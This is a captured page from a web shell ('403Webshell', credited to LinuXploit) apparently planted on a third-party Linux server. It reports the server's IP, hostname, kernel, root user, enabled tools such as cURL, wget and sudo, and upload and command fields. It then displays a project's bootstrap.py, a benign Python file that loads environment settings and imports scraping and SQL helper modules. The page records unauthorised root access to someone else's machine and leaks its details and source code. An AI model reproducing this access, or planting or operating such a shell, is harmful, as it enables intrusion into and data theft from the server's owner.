403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/llm_MaxGPT/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/llm_MaxGPT/bootstrap.py
# bootstrap.py

import sys, os, re
from pathlib import Path
import pandas as pd
import datetime, time
from selenium.webdriver.common.by import By
import numpy as np


# === Расчёт путей ===

# def getPath():
#     curdir = os.getcwd()+ '/'  # текущая дериктория
#     list_dir = curdir.replace('llm_MaxGPT', '|').split('|')
#     root_path = os.path.join(list_dir[0], 'llm_MaxGPT/')
#     if root_path not in sys.path:
#         sys.path.insert(0, root_path)
#     if curdir not in sys.path:
#         sys.path.insert(0, curdir)
#
#     return root_path, curdir
#
# def sysInsertPath(path):
#     if path not in sys.path:
#         sys.path.insert(0, path)
#
# root_path, curdir = getPath()
# root_in, root_out = root_path + 'data_in/', root_path + 'data_out/'

# загружаем .env из корня проекта

from dotenv import load_dotenv
load_dotenv()

def getPath():
    curdir = os.getcwd()+ '/'  # текущая дериктория
    list_dir = curdir.replace(os.getenv("BASE_DIR"), '|').split('|')
    root_path = os.path.join(list_dir[0], os.getenv("BASE_DIR") + '/')
    if root_path not in sys.path:
        sys.path.insert(0, root_path)
    if curdir not in sys.path:
        sys.path.insert(0, curdir)

    return root_path, curdir

def sysInsertPath(path):
    if path not in sys.path:
        sys.path.insert(0, path)

root_path, curdir = getPath()
root_in, root_out = root_path + 'data_in/', root_path + 'data_out/'


# === Инициализация ===
from USEFUL_UTILS.universal_functions import UniversalFunctions
U24 = UniversalFunctions()

from USEFUL_UTILS.parser_function import ParserFunction
PRF = ParserFunction()

from USEFUL_UTILS.parser_own_driver import ParserOwnDriver
POD = ParserOwnDriver()

from USEFUL_UTILS.sql_functions import SqlFunctions
SQL = SqlFunctions()

from USEFUL_UTILS.brands_and_parts import brandsAndParts
BAP = brandsAndParts()


from USEFUL_UTILS.ttime_converter import TtimeConverter
TCONV = TtimeConverter()

import logging

logging.getLogger("seleniumwire").setLevel(logging.CRITICAL)
logging.getLogger("seleniumwire.handler").setLevel(logging.CRITICAL)
logging.getLogger("seleniumwire.storage").setLevel(logging.CRITICAL)
logging.getLogger("seleniumwire.backend").setLevel(logging.CRITICAL)

Youez - 2016 - github.com/yon3zu
LinuXploit